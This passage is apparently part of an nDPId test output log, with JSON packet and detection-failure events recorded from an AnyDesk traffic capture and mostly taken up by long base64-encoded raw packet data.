7bIVEMY3TxdnCvUnPYfiPAncBVTTplWtGadBoDOc2rTS1Kjk4TBRz3h0MX+vTiub4JOKE0VpNZ4nl+K87k60uK4XyqA81+SwaZsoEg18gHkUpwKTQdmMqdK8bWz0TeQsQ2XrqGod5INIBl+hgq7cGaoYZDoB+2uJb36jJoJvqAQyJpLl5uLMebh5Lh+xwgDKZJfQOWTTnEje1ea+FLEr4RbBRSfHKCEkspiH26nRxUXPk56stm8v+QR1pxgJ8cgTLOEa7XU\/GwJ3zxtgVNtS+DkYCBdF3oPy3tXpOT70ka1IKSpOR1W+BNgRb58NMzwkQPhZwxHHgy08r7BPgS8UnGnjr3yRP94WUlgW4jfHPA+jvoArzRseV\/a3rvmm+pttZw9GKf7RVze03r0ZjDWs76VxhucwqgGcfpojKEzpDCpm1+DKaZ9baa0aHpPqXbU9FnjypEkapGGh6BXcwoqHQHfVoQ0Lx2D+ViFEF+tIEbVl7\/J36htMWkfnej3pUPajJ57S5KEhp0eGu9qKrbfS9SbH2hN9Ew6UHeqV4ZhQjnVjiYpXG7j3pr1\/35bQrBkrZxw3u4VSw1ykpV1qQRBLLPcawm\/i1\/Dea\/DwfszO96EVDNVYOKh2AMnhL17HznRlFM9mGhP8+TFJ\/oGLKBLAuZYfsXBwSv+zhihfYxxjd2ZGwjb04PIi6VcJkORF7Iufv9LD67cZAz4NskyDRCiFtR+hRtZDyfHvFv2ZZA3N83136WqZxFBVCRKLcmpS71njoEphn0dmd5HQMMPY5Pd5QkHxwvY93B0hGy1js6RgpJKj2uusdqMWUy9w3mZU7+PlZZzi13fkPfWKwMFVG8GQwRPYwiwtrOtIq3HuIgnlod+DhSlue+BxLKeYhruTJ2fpB0nzgXOCpJgAYHGLI5gVRYtdvW1US9TaYpr2tfqCdx8ZEELKm5TR0KJiteDNUkzkRBT8TsCj4yZ2BBkyNMRa2woQcU5slNyiE5GGeNIFgmN52dKf2Su1TP\/voZRtCJ3E2sHgxe7NMEgs35PSIrdiiUhMESL0PkscXYUcZf\/qgNfOz6ZYOXmZ+HR2kOQ+QZ7Nd8oW9gBoR\/ajW7b+AhtaVDF27cQdTuwaXa6lY0C4G1OLvta5uPiJaZ8Kn8OVyQtNThAn\/hSQmiUpZxGNtlCC\/d4HFQhaRrj8iOCobE4CcTENVKcrpbAxYrmuPZ4wc1iLtv8N0HIg2+33nG48xMK4pJpO1G2XrUA36klmeYrAB4oQbM8JB2qtQDQhmLfhiLFtFldb6b4Ej1ha+r6g+9\/G3B2i4VOX54TMnH32GvKyqzyWZ79Vr2XoSl57WToZwuS5bwu5KUuhcRsVzH6oN3q+qmA5i57uGj2eU\/umAFuUP4D0rJ+yBvKKiAM7Ma8RqjLSD3V8DqtL59oRsbgqoR2z\/yfsg4O3OP2TTctMZBPUg1bmeZ+g7ppYrA58cC2aXaTJXByzWgj+otwXCQIY1SlUKQyj3NJgb1XImy8RN0Fb1xyJMw1BkJ9cxS5XwVIkHIJ6EkfcX40mS0vmTzDwo3MTXq2uPO7TY+sKV7qOBNj7no7Ae7XLS29ma12u+ZkkP8e0yTQcY\/wRHkhBr5vhaoFI7apNhkVXqEg5tdkr0HHXJgR8O6a09SkaEAmfVM4o1yrbJtxEH6rVGUjKuy6U72R5SzUq6CqUG3w1rgP\/aynwouhMeOsng4ikaMNuH1gi7t1gCmZ9ShgQslFDT3NE6oDdIFIkSFcQIHKrKQRvjIloUeLGJZGrpPetlu1JkcoUn2VMQxWekfpo8XH87JYoEdCv5ESB\/ps0YaVRvyLnGa1uAFmdni4GoYtb4SzK+8UobZEv20J2CCyuR52MI0U9xDcTVcfr4ag0RTn77znxTOBShR17p+Wss9\/MTLzMbYJgYPsf7Mw7tzoIcXqf5Ifv5f6U1c+qemLD2tvUjy3G3+h9PQcP2Rpdw6\/S57Aowv7FwDimoWG4Ljygy6mXSliltC9gxrl537RjuK7kvrxQTXWz4hG11WC0YoD0ki4jWXreZdybKb2pO7Li9ZVVhLHoBAvO6+Yrwo8TVZg8r4tbtdh4RdQ66LjH439XC9KGDY\/2jP+dflKQFjBL55+SaGq46+3rHMMuw4HbXQ3R4PqrNheZdGd2e\/WihpqasWE6aMgX7FQP6Fi\/2YkYceGwCIoC2yjT63EdC4mOoluk\/oXbfUzqiLYzyVylPwZ4d5sAyEAD+5AEPbJXdqCLySZG3PrK4mYxg98kcfcX0DRSFYUkhf3d+7AkBMXKJMK3+kWi\/KCuWETROFd83v3\/BPJEwelJ8OZxZNGE\/JIlZFbySWdkvepPdwUhz31r\/QxCdgIffXVtZzL+m21p3m3TgpQf5avXxSOlEdETwwL0NkgdTAZVjr3ir1A506Q4PXmmwzcXJcs0+0GSYjtrlGWIMooQKeBTZj1WmLUqnvHnuvhqf+0\/AaCbGKZ9bF+vtBxROcVbBYUmY\/IxBJcjgLk5xiKTmVSIuFs3bV3DoGiyCV5+rbUw7ew+j5Vn6GQRg2FRuaEseaHtsRt9C3c2XLeW09cnHEm9mRR3EGOenV\/zGKsQzRljlNIhe8SWM3uKKmb5Ej17BC8ulbYEov9tqh3ObZ1MYMcKoCYV6URlZ64FkQls2Wfb2XL4dKyPrcZD0GtI7S6Zm1QDW742dRzoHZyuGgo5xdGZTFxe7nTLDrROpl1MdAWNts2NEClRw8USqp8KBVQZbKz\/sr59gRKw9828\/A8fhNUWYIcLoKb0MA4JWyH3AHv2BpzdKrB1Tl3MMuxdByT\/NOXZB\/X8bDAZ2D0lnjD5kUFuyvxPALM3dXS\/Zuv5k6GBd4iZaj08KGaa4sHWI7lcyd33ZOX9xHPlN1qseHoZB3sxJk5SAFUK\/wfGR9YBTuNKFCc5O2Rsv7pJ7M78D8phX1KgnV58bKf3eNn3dqoFgEl60p6XXKdowGW1eDTfkApbjssUrbP+jzPBgROq03ScMA\/dhHi1Ih9AyBJuI2YgKflR4fCrw0xSxZtoQytu0ylbFufWeJGIbvMw6OU6fKdBQKVPtig4VkotbZ8ITu0KZ9HB6xSeVehexZEpzYx2XIuP2J1T295JsCixzeritmkSxFAGxeVHuKBPoceI\/GGlgrD6GwcyeHAJWHmXCoLA5x9fqiaJNYZ14vjrBogl9F9ytwIcQpiG1v\/CfOBt9jAwhj90Kvinrv5vLm460YcjWkNcEHw8T1xNA53Jbxd8DDDDvYGSDsvtORfzlaXrHwkmNWY3CIRSuZW7QR7T5rWTpOckkrDmvcc1CnTc7DLKZLkap0p60FvTKdAEwmBh9zT9ZSyD1orDtsZq122e1nw7CKzB4QYMkZASaDRZpWp1GQ6ALGfgLSFFdq0YHggfD70\/Kz\/\/"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2014,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +07849{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2018,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977614,"pkt_ts_usec":958047,"pkt_caplen":5557,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5557,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAg59AAIAGAADAqAG7wKgBstOUG56PLxVRWcRHc1AYIBOExAAAFwMDFXpZ4hNO+msW1avJnkXJVqmjSJChyCXpbEq8W+1hI656VaT\/bJgExvKlLJy\/zO\/AE82l4B1h\/pNEls6BAfZLApjgc8wXmtEkNRW8eDOLzXzBLiMzaNITIEV8oYT0qsy3mDh7PN57vnr90hj2Frta\/Twa6xEzY9akvHFkeX0JMMd7lfkwEsVEWfY6QtHMC90Ur+jvLST6ha5bJafLSxZuUxf8AOOWrXDTEYd2Xfwlxsu5jlcBmMnkiF+ao3q9n3d5TZn0BgHSDjhJmeUMZwNZbPQNWj4bBxTMerJEi1FvkCHtVWeVd2XsBUsHufwx8bKMCcNH7Gjm0HMqkeSz9htxtf6kPp2kUyMyFuy\/tOgzZ+XA2fynlg3lxvvia\/j6MlwAGC9yEWFr2cVj2j1nudQdD5SXboYanG3e6GJZR5wIt2iQTlPpdclVl70oFakhYXuxIjGd4bYRbIY3kDEYC6HZiyfRsbYrQIx0qkqqOFLi5Jgub\/D3eNmqW2QRKchXj75\/f+tD+R+AGy7j7UX\/EG4Bn5qLuSdTzfbJH9LzUAP3uZHdCVdiHQYEZyxorYR6T0KhRTS\/x5bNdW5fL+Zcm7CGlZSCCPoe19Lnuz54P8xHCob7wh6Uqv7Gu+f7vmsphvM7vc8uSVtH2\/dMlG\/ZN\/V4G0ivCFBQED67tCEYhi5gT5v2DOchbhm1MaZ2WZYXDGYtjyXMm250WLygR+olr\/rjTHL\/s\/VossgoyUYl2YS\/dUESzCdwxToUaTmzsjDysLCQfUt+FbIMC6WguEQxI83U7rdBbutXOZOIwvk54t6k1dVh5WUP4dddKUXtxlkP6ljf4FBiMFmjdeT\/8bQg3PHMuPaYs0Kcfytk8P3siVfEuJUosP+9\/Nk3zTqhWDmwTm0v7vqVfn5+odmpWQF6DLQT1VDSWxtHNChwf\/AqKoR3NRCRZRNjVFAjnFu9+g2vkCXGe3Y1xsMXuprSKUehgnHDdoqlvnV2W2tDcxsfYCYN1g6SnPSAMja+wAJCC\/rtyOFyTAiW8vJqFPRngzQjDHvaVjCo7RoU+BL0L2qkJLywNMH\/4wEjyq9Upr0LL3nS3ymoIABgH8QSCjQTg1QDs9OJPzoZkAoiuFaSSjG9TIWuO3ThD6Q8PBh5qzES140uR9p\/4Q9jyFjCaMNpxFI9L9jC5FbSPxRg9LbBX7\/XNLqTyRhT0PbXHXO9l+iisvQ3zmyv8Et2hvVDEM3myCOEe8KannRCYqCTkXjyGO9jeG5jYvTOr3sNI5ebJULFZNuwpgEWP4tz\/WXetGYNP9UCuRS2sNYFz2gyMZ4e1oip\/XsInNyHo49VlESt9BaWutTcnGhgM+7MEbUYIBW6H1lKP3HXlJYJYT6zQb\/NF3hXO4LB6ZeIOQW8fLwJ12kvYoJT7GatHcvI5CB0R2IZ28tDF9NMLqFR\/MNUyj5U5Oylu8m7G7f1kYE9Z6rMPl1rgSDjLSoIBb2Xxe0tACGWssgFSIZVH+ElxpFErt3s\/Pm1w1k78Ny+8S6JhhTPA5w2fU\/uixnpkJ8vGCiQP\/0IX+3IK9fGW88pZqMQOpdUEOjhLXqNhHpq7yt1DX1\/MmKGVS3aPsyuKR\/7Wk+0CkjzqjWLgWrlKyDkdorRTj7G4b01Wh1WP4ERZhxhaNp1Cy2hgB1kbprLSMaEuH1rvThisfPK6QzTlQw1VYOF4se+m9ZXRm\/p+w08AvHRDg4Tbs73ncn7fWZtY3y\/ACd6U8yUpmPtVAI44UejK3jtgMbgkHvEoW2V9EtXnC2z92YxsoYxWcxulorwUgDnoA9A\/MuWgK48iLKh8mcSnwHUAHQ7jl\/KcEmi9tGTTJF3X\/6UXit051wh5zh68QTN0YZaKVV2DwY4CXe9IcFPity8vKEUHwCwyt+XODYT6gM1ZvnBIcoRYu+QfOjzpl550FJAxiL9MwxWtlXCPKiMYCuS4Ul1bnVov0DXy6NTe53mLbAaGRDG5\/V9CGtz5FUm6LvtES8E56RuGC66bjPeL6IR104NuvKc+yLClCaE+FBPO44SddpSLN7bTegAGgz+R3JHmt+cMW5InsRjpg91wb0e2VCp\/r4Fdb+v4C1CcjTlzdV6+quoPPDGflQgCKtTibMZlcsMLZdxmh\/9A3IqwshADUVfS9u8lVCfEJnEF\/g45DRhPqLt80\/3fPYz\/JFiweRNuOPfYZ5QzYMjCT6GZnzGX0+Gf8+z3F5UL3YbqfAafAGIOrDUd49fuWS\/WgkV27twwJ8JhGbQ4YIABMFRCdXzU76Y872k8XY6DtGIC0UBwlQD2fQkc9GiuflxH9strJRiPZX5lG2E8\/aRZbaNkaplb4mdY+32PBQ8giYKVhHtrqs\/GXUd2Sqr8\/sLvfqzreN5qMmQ6d9cHrEbFep0zojfoRM3sIKFGKBNWTwZEHabQZE7Jr3cbxybKh\/ouk9fifY+EJ1ZpT5JOu\/qu+7YfHXLL4DZqwZYNl\/xr\/EjSQ8eTogIy+o65u6ORJX+J3WUqlI0lBh+D\/HIOHC2E3XAH719edvqM4c+bZHScoIcJtPRVGsE2RphcrjAMNKU0\/Aq+qzBViACuehrHP03fnBWMyqUZnrwrmPeuyre1ftxrhny3eKnkdvP4xfcbbWlSF6kakwUQRY1hCPqFOyf417bf+asE595wTgdLwlF0bdtJnoZlxlzj0m6INHXZ+Jp2\/KbWPkSEII6SJJ0KQEuqeRxpPIt6w48xYdc3S0FOhOf5NTF5GUmTD0jiR0Mm2Woh+WEg1N8defERPynLNgv9J\/xq+1JOSMluKLOD7Y3XYuDN54sUwOMyomm1fzZc0zxtUlwMbFRU97XHmNvB7h9QUIL0fc4K5I4+7FWQ1U4zGkOKamw2RwUOC0fl8Q5BrP\/8Fjw1zefeETBGe1OljN5qFz8Bi6LgyIO7A9+KJ8M1xDo+f0N4kC\/xEcT0ZcEzWUJM3X9+rb0yEVZf1KVJ2MrhSQ6YsOWOusVU9PEUvtULesmV2oKSUKb1H57DDnHyBauFqCxH+\/0YAElj5gp6EggA5JjUE\/+D\/L4FgMIB1judRF4G8Q0s5LNqSW9jioMwEqXCAg\/VbLuPo\/rH2jyn3TpmHTCXmu8NNqLsr+4Y+kz\/LpEa0pK+mNKVYF\/POviQ85izhkePoXy1QgYgA83kdpel7hvX\/lKdHAiH4Dj60S81snhOVubtedOMeOaxq0yaVBw5RUcmJTEMGOhUmJigU2xHOpt+mttzewhYE3si9bvMstl7xygU+d8DZaacLH7D2sCtNFelOhKoLD2+YehwVp2WK3sGzRKXtKPA28rfzqCHDEQlOaa01+euKrHQro8aP57mWN9DN+\/gHuYAN03ERh798zxOYMIfmnKXgv2vQwWRzOnP68WD30Ouxf7bdrRwjJKiw\/3fZi1hVT5ATnPfJnD8rfL5sXT1eQnnBMcl9Sz1EUMDh\/uO+h3tyeZzW1JEXG\/osIu\/a\/a25ZGM8j9xDERZSAUteBROoFP7cZEgHygwQKO9JQ87JjYRXqZZjL1FK\/6HD7cro7h+lBrDXDObglAlZTgO+rhhjjN7nJe0KslTpHGO7bjq4LsVgA0XQKdxPR0ssSryQG3\/uVuP\/CwGbHlpLcMQwA4lZk8sTfdsKpqor8+2RVk0aTpp7XqbUPXIzNINrhdOhfhZeAMRz5JM+uNXACSTSym8Fq3ZiimV\/U0S2mQedaZHz6iowJNvSwB0EL0ZkpOX+\/ePB\/OY\/kZc+Bz6uyOBMyCQ+Lqf0pI9OgsxYxmxH+2vopNtcw6i1pwCwIzLqHVJAYYH3c2qBmboNm0gbEKMkTgM91yUGhGPsdsf6yqWd2lJec8niL4NAR4ORilKy9EZM8Sqzc1hyJ0eYELj4rlOoe7xNCY7GOvoQTjAiXm2CZ5AbGMqjs3vBv3CvFZbhrOROU4UwavVxhBKJFollA8OExEtYbgRS01C7Dw\/HzKegQU1dVb2yb7ktgmtdA0U\/qyKOPry6Y81WWhL1AuVr6SMGh8G23EdNcVs4UgCKjTeBIukFvmVqE\/OYN1xzpKrucOUNs7Z8jjSH9PkXnYZHtjVANPusfkSEt8JpznKFMWgfR+nARMgk9sMhEHDmhkYgOC126fMzgFgV14NcuaJ9y2ZR85Ryr3MhXw72629RZ8lyrLeBhjO\/Q18ZxvTSZcvr\/Kn2OvukbQVerov\/M5rhsUR6VRtjB\/6sI3bYOQi1nMRePGG2aH3FC9SBWZ+qzV+h6r6T742ZCU2t00D2zoDbkC8WYPWjjeHOTZU4evN\/2b1zZ9sZU1CLq0o4F7ahUNFU52dYg36SctQb\/oHoRp4P1lZzN\/FtFInrr9SME0OlaUJ0N7JrJ56axpGfhFkX6CvaekV88xrEPvvVjQvvrG4gAL11kbe\/xNq8K4CEES019CnNE1S8VqAbVEqjHm6am72WinUTHEeufAO\/AP+Zspt8QVNnj\/GCFOpPa0vMJRLqW2+4Gt5opCtj75U2BG9YKlxb5hAcilIpbEjSJ05lwUqVqBpCacjQCt6YrHc4+d+NK8AEGOubdGCWBr+6+lMw85rLdfr\/KxWIgRzNMSHUo0TrkVZ64tXQ6kDBO2vbc85W9Dfx2q0EwSDXLsoQ2tJRX63cBs3ROWuVOlLGF+PezIwRArm9ZXMHGzkQgECasHASGixIkIW+ynNdnnnX5pjDntEqS7wf5UZ45FB\/MKK3A8sGlaau6u7tAACLfVw33Mb7vGjn+VTw5hMIOCcOzOZ6tAfI1Jtnk3MVkOzDJ4+8T+eIakYleUEt38hnScDPvGR86EVOq0TIo3TwbDd\/lednXi+5V\/pWunNa2k8JbKmw2fzIwZL\/SV+3Fiobph+v1oFOJJ9n6B4cB+uxP+GdrE22iiCUnkgc0ZKXqaNH3AWbKytgTZQSv3+ohZLRb+RTBVVjLgatSA+FgxsdgCKElBeolqt8OpDsbyyX3igyrwMm1DEcHBIL8DL5qCaq1GYBt453wuyOSExWwDgX8NKxHT+OIuaAvcZY0VHtIvhU5FtG0WZ8PJN2vU2DDE4h1qbVo9AvKTq4XdNc9Cy+t0wBEe0PP8BU3h2usGm\/ThPU+Z2eCjSQ+lDXztzUocHQY4UVx6FTZ4r7\/QMEt0KmonSZvOjtjkLYzqPrRmAS\/oySxx\/2HeUr1LDgovVZ\/CdZ0RaiD1YJaLXrxHlhq9Dp9guuVz39hZI1Uzfe0ka8qUjEjtIkKyxvr+sABGT1O+0M7j2p3JF+BfAvJ2X+XR+7UmZLmUURVkFYiL4bcIs4VVFfxm70BJd9kWppyPMmbWh9vtALBCf+G1MYcDDsl0q7XqsWt\/yZiKdCbZ8fsje72SgRchzrINgDGXjFoJyEbEGBX+vwOQ2omSwJUwvEa\/SpkPZ5tVQ\/JtOyVJPG\/BUCphvKiQkiyve718vIx9ZhDS6j9jzP4+l27p6rufJZUfkPFwQ6r3bIpnWr5Opive+Rgdyc9jtODbzSTQsDWxMBBSryFV0zhExkbvf3SJeocoUoH4x7Xcw14HsPXW4K0UIRSdhnas2z1zFnN+M20ynw6qIdce3hxtmTv9N60CaftKltBcjpWqy0k1HuyLcxc5ASh+DLj\/CJgrldFsUVpv6nD3zXa+t07LTZSBVylspURYftrdbIWF566gbfPrfvBEZhhECZ1IPN9tGi5md5opbsFKzGYLoqAsYofbyJtgItG8+yLk2vGpsIxrspPOXHIzKqVSzEc9+lGBop8LmPos80JMqNKjRf4MlxBoCpHMx7A1A0Z7i5WwQdRNf7N2LgyQAblJun05xlNxahT6vzARS7jHdmaZqDECrfZZgE6NfXfm+axESv9A4iUglsFNULgoKS2o32jOdaeNTSHZwMuhHbhsztcT\/\/84TYcGI4pIWQOuKsYz1g6ElR52shxS36hZv0AhxLHhl6AiYDmWJyA0WgMO2DUBYh0g5gBL2+A9H5PimmU8GLOFbYL0LQ9zcMrhSxcEg1RstKRNBrfNPnlHqKsPrSBGSPq+FifMUjEByKFdOFru\/EhrkubdGGf\/I\/g9pyZNASaMpOWN+rfWhNDkx6PzinhVZakKGAkLODQX91Naf5ti0qKkWmIQZgBeLlolStnpxesvgFyJpXJn3pJnSYy2r0HJTpW+3jfQ8KvR4c9EDf+KXtppc8kyL9pNdYGXbtUXdaZkf\/5oMxGKLCBKU07UCUk+nimhJgAIVWOeXynA6BFsxCHY2YVfD4N3IhH34n64K1x9sQ85rbwHkpz2yDuKuDG84Z990HAJnX3STAp1XlcygM\/lmOQz\/Jo9NHQqz5tQCH2abPDcdCtudSld6AvS7H98yy+MCYVE6PQs+p09K49b4McAuAdUfesHdXddwUuJrgYAU12ZcDb0NPRjbTGvkCH5+fpyPQDVHFEtV09IkAORNCrdpzH30wWpy4sJXO468GJB5ppV\/qCQwqNyByd4YPaMFEmo2QCGFF8R3Xt97r6QzN7q3CcnvlD2Szt3b2exVdpSTiiOlFqxMhYqjreyQ+A7xfMo9EHByXn\/gnR7KKYvLvMWhoUiiyiN\/nIqI5OvQkjrd7d+ErVJhLu3UjNFFpJjvFuq9SthZxwxJbbgfOIWW3jlVuWjnZ1x6PaTCi6maZ2T8O+NCFT6lbMsRmLOtomAfsi1LqblYzyNmUYmUsb3gLon44lZUZINz0T3xVoMDm\/cSYRbadYsGp0wml0tVe2EtZ9V6PrEnzGswUkl0bn8V+BKwjl92RG0t00kMRuiO8ruSe\/mrvv9jmsQXEuLdps327gMbwOnVJPsOXy3uN5uAWOm7htEPJNWDGqRsJjqZf7HzHnZr54xBvs2wD7hHbFWCzvgM1R2ozr4S2o5LGy1G7QBFqWRmanAbQsCXI4yQctpBtPTW8qyXtEXNaYxotxK1j134pf0pDSBHSatjn+4Tg\/jtt6LnVq8z6sx6abuHB3ieoJslYeZApYGqvi6WBuqd+bSw5ri3wkZ1XFGDWV\/5yeRnw0p4jwKa\/mwzLC9CElwt1+NV\/4QbMV6P1xi9naROWLHvq5\/LKuOYYYlXTJ9A9OKowkLeIbbS5VLRbcnUOSkCA4PoubeTeTKeQwZW4TaH7FkFOb6MZs+X1Zmv1Xty4b90QNcmCE\/YNzR18q9mk2v1ti+Bdk+X\/tsOB0Jdd7Gy+R04J9EKq8heKH30qeTQ67\/yh3R2QIG3KSKnrrnOsaQRKrmH\/N4OplZ\/D5zaTlXNQiFhraUd8PFBzpq70WmrobozkX7qhQwk+OM4egVrETKBS6KFSJvh6\/GXB5MWieJkhe5fwdx2wwa7SLOxLmDQlEHbasGy0tURA+aZDjVESlrZItTc0cEmlg+DMIa9Vc7lA=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2018,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5523} +07813{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2021,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977614,"pkt_ts_usec":958909,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAg6NAAIAGAADAqAG7wKgBstOUG56PLyrQWcRHc1AYIBOExAAAFwMDFXlZ4hNO+msW1kFNqpWEcZU8BHZ72Zn0Dfe0M+c4dTqB3jR00uj0MMpon\/BmT+764yLKMCD8C7ZDvLbfAnNzoassDs1HYWrzUoJJBKabOG0nbLjRu5\/RVfjMCaSprhd6LaWYnPNBY5XylNqiumCI51+0JiijGuUsHE+Ny5foeHt9moXUVfIU4ukxKYt0EQbJWnho4uCmDzG0ohfE3q4uGIK2X3zS5IOgnyQuyy7I\/nM3RFUyO\/RZ\/ydrcebRbhBtLUNDSPumD4xKT\/2gx4PZZs\/SM9poCUe3fQSuJ15PI5eaBHKopGZeraW76Ymrk+KHlT1P5Ht7PQNik+fZ9LxnlCsThEDWXWjsfRBdncb8AEuur1cjCT6syWASnA7bniQgYYNTxyIvGU1GvJZPERcdL9d5GsajlOdOHhbf9mP1ySXmWfcArk1zkWfkYTKxMXYpqXmfID4SI4NpvQupoybOy6SoQ1Fu5S1IS4sx+aj8SVxQ9qv+X0DbbRlYDIXcEw+eop9gbcd6o86CiIYTXz41\/KegeGVBWUXK1FJ\/3wNfxoTXJtoRx0lHoA7v4N2P9GjKHbTsSWGFYHa8OJ077C9JQJ\/FZwLzyKXc2Z3O4GmDRDGu35bMWcJVlONv8BwHJfDYE5v5vMZqwh2u2s2WC5GmpD+PZSl3LDwXjTHXALeZQiLquUcEWA7\/GTAyIdadqsmHJEmPzb6IlBT1Q+0vRQgJtTTteKe3N+c0J5sSbOEdjAQlSpO4ZIe7T5voBBY+nVVq9tdiFLYIWAI2x8nsGQIjRJWWX4NWozjN48taxem7x8t7BT0BljR6xqwqL9y2Pf3U0Z4aemy0+8tNFUEXTWNOnfP9s5HiwQAilFUWxyTqBU6oWEW4BTSKuK0wUi0ZwPl55Rh53HAlG5aV93VDEo+ML6jdDWnqbhvZES911QgguIxnpi8hWbAxhfyNDqUSixbdscllddkHFCDdCo6o5PXMSaZxdHnX+uRJTjHu8sj97wxm0GkLpJEviCCfz5HB\/9tPL48ymoFnRTn1LObqSAaSKKu873ngRqhUz9usLZ6aWROhzpC0VpI3RP3ieHdK7LuAqzba1nbsStFwZ3hKUb4lzsh3jumVRx77MnIHENtCvGLUHBnLIy9plJ0SaBg91A4Wkuh52BBRxpgb\/8Pkog7ce640bH9Ouvfr\/XD1z1ZB8hfKCSlYfIWRQanFZA8WI4n2+8UN8KnWgrkTvskHowUaFDQ5kkUBYfXQEo1Q4QLETOBtbY\/b5P+NIendfDB6enE2IfmZl1Pi1AbOoHg9GBJIEdVp2Faqt4ET9sthhOIdXhumZ7x3otfJO5+\/ilADJSuzKZx5N01WMf+EijVxmbCFFbZE\/x3ToLhuG\/4mFSSdWkJPx17J8Fnyz1TkYEbmupGN02LgGUgQc0jn4g1Y6dAKzlo4UsRwH0\/IbdOiejBaYRDQ0zFIztRmSmQ4fOqsrhmsV\/emKb+OaKPr16yU2SONz22QlY9AYI2LY8P8126CRdREL2JhzSxZUv0lN9ezFs+UlyoZ2Lpvpz95kWcZySdE3SgZi7lYoPOCw2Kzy2\/y4rCkbFu4BqgF2cWYtZ0R3vYkoMm24ju2DGinTI2bAee17Kgp5w98einMDsNwhlUb6c+GjJoFKcHp6Ap6o9\/n+qPKrIz0lXbxOnkjE0p\/QvtdIhh3gRD2F9t510pm08lTC3KJyUsOKC\/QZYnRA8by9cxWVHdYCLDS9FA7U5MwP9QElRRWZN1StecpJr3uIsIdM\/WfQrX4LVdcRD+nFbzoEB7yR13W07l1FMvqvQfk9fttNsg23A2M4TzTd\/mxLqK3vUGki816w3K0D0E9Jft\/K80VsSAlRWzyTEO+mJLiFsYXnpZrJcRYOD4qCHQ+hMTmOEcTObmwA8i0rFD\/xUuYCv4KePmhCchiPz51VFydHD0P3DQHmgj2PYoY+tyVMy93n5foMSFcWI6XAtBxuXYFVayKOYemJKGo84X32Omhi13EFw\/94wnJEV\/3eFGOPUICIf+KRH6E9CCYekOAmHF8xVabWndScPz8h63gnUJzUERL069uTk+jpGoTW8d1Jls0+FooQEjF5uwfPjA2ojoW6nqZWtp1wNz6MmzHXlgAGVP1IGNxphVOwSB5h0CDBZzBCughzIpn2fLW\/DNhVks+PqmOq8V6K2Se1vrX\/j6hMPYBlKlWZMl2Ms9coLfcETIYkSbA6\/+NG7gmLiUbtyyjQP\/GcMi2swNqKLyXrgAh7F446bOSO\/TY1vqo+o5oiVhoBk+Cb3WohBQxlGWEO8ru50zkP5z5nv\/ebtHcM\/0vCEX+ZyiM1vbIH+z3zQoDfYLUQ0yP8JYdMHvhlWgf\/tmOyCtlQzuqLRBAfwFbfgSNF24TEW5NbLWyV97b6gXUm4zhPPN5cNw83ET2pmiVUxdylidfeWFvHCtyNtz0U+8v+60ypoVbE0nPWIVj4\/jR3AgASAAznbhg3v5geQbXKsAMMmi3CEnApS51dPHuXO9IJm7r6zegWgZOyiqs32gkX28JG1O0UOm0o\/XnSjdtKydogtAbur9ckHctilGe08uCU5xqcW4fGnq6geGCPu37bjM6Dvd4vh690\/pPWvyRbBAPVIGcKF\/bJQuksFoFJskXHCbo8FyQ8As14Cw2arb\/5rnBLivrzazLWeRdVM7FBbb5VFe1mIqI8OHK6aFuzSOzY74gmc5Du+HSXSHKd5OGc\/7nPWZtbFtxiBeraSG0I9PD9aOO3YmuzSnXSoDieG2tCKcx7iqDJ8iG1\/ST0dsKPl6LHuh\/IGxQGUXQO6T6\/vr0VHLrXAoN9kZDwddfxZ68Wmcdr0r5UskkR4Q8aEcE4WpZq+6hJRgqJ9W79XVSR+NnJ9hAAutpWGjsDLrg2fPIxw36ml35VDnORLpwnWKTz2Nh3cuuBhs4LqY\/MPxfuVZSoWbEAVRtgYcN0UsoQjBtb6aCiQK770fNvnY1zMxmryHp9I06e+SaraW0Lz\/AMOGc3kveLPSjSeLUPYp5ZAw4kNBYmQ40LM7cAF2ZIfEn5q8eqHsCcI2cEsNZB5eGEYx3cCLyhNeZoeyEz4q9mRE3U5kFytirxlbmTax0iWsePCV7pRe\/7I0ElmkCj1pB6BlULzhBk5jo6vfK51P+bv40d73yfhGOd++YUM5dAsdy+M0b62GUdtKj\/6JiD4QeKV4AA+Kp51GM0Ryp9s7ShoM\/rX97Oy5cRvKYyzkk3aWPOJ8xE+3xG5T+LzQOmt6dYGTZbfboolfVZiZXiyskfkYpy8Obv22jp342LxJnE6P49UCQBWaCjD\/tgn6eukPnphRWJ77XRPsVnySPg2JWFjh+rqDdEZwA\/IbqAmk\/6ElSIGRC\/QHHEaO3Ujw\/iQNEEn4cGgnEny7NDZa+Dmf7fgfu5Zz0gdHEtv137gFjJeetrgROi0j3qGfeX6gR+whLHa4A+nRthIJt25jFtYgGZszx0QD5Eh6ou3yQ7oqVrvd756JPEO3WGrh9UBquIwKpXSiJoheO2RphGc2m2t2oeetW3ninL9bSnLvR2v3tuFmooNGlJeuCHUkeOWIUp4JUz4yhO\/+qs58oD3vSHGyGDt\/2rsOjytzTJ8GxL33l97Jr\/50JF5XZxdyBCaej34NuGYTJqDNuncS740yE46nhJ+vd2cEPlVP\/PTiHRhNKIoaGddu54DpmVwzB6K5CRte\/pfhiYkun\/6gHBFQ\/FvDEM4wADAIDMY3fn+y6rFoPZhoHfM3rtA4ft1U2t2MwrtYTZJt0LzQ9O\/68OR+TT6dJKFk9nwEL2g4O0VdYBudT559k0bRwGS\/OGlHKwDUfQCQVUn7PgXxMaTDA23vS\/ZEybvAIXUE30qKm4q8sAQZK7h4EGmwxyUqRgXibjmUl5Zce\/Cys0f0MWOy3ePNfzNQnF1T1hZndOd4etiaYkvIJh4gCjb5qpynt0o8frRz0pUOKES691+w1hzi\/hOEu7pSappJezRiP6OMg3dUevr\/j5zXTveYi+gligdESY0GC4d8Qq